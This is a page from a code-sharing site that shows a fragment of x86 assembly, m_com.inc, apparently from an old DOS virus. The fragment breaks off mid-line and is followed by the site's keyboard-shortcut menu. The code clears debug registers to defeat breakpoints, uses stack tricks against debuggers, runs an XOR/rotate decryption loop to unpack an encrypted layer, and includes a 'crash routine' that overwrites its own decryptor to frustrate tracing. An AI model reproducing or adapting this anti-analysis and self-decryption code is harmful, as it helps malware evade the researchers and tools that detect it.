📄 m_com.inc
字号:
innerlayer1_b equ $
antidbg equ $
cli ; the next ain't possible without cli
xor eax,eax
mov dr7,eax ; defeat breakpoints.. too easy?
mov dr0,eax
mov dr1,eax
mov dr2,eax
mov dr3,eax
mov sp,3 ; anti td
add sp,offset xor1_e - 3
mov si,sp
sub si,2
xor bx,bx
std ; set direction
xor1: lodsw
xor ah,0
org $-1
xor1b db 0 ; maak hiervan [xor1_b]
ror al,2
add bx,13
xor ax,bx
push ax ; reverse stosw
cmp si,offset xor1_b
jbe xor1_b ; always some jump against prefetch queue
jmp xor1
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪 layer 1
xor1_b equ $ ; first layer is xorred/rolled
cld ; clear direction
mov sp,0fffe ; repair all fucking with SP
sti
call between ; returns to thru3
db 0EA,0C6
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪 int 4 entry
int4h2: push offset thru3
retn 6 ; extra bytes: call int (6)
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪 crash routine
xplode: mov cx,0BABE
lo1: dec cx
jnz lo1 ; prevent back trace
jmp $+3
db 56h
push cs ; overwrite decryptor
pop es
mov al, '
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -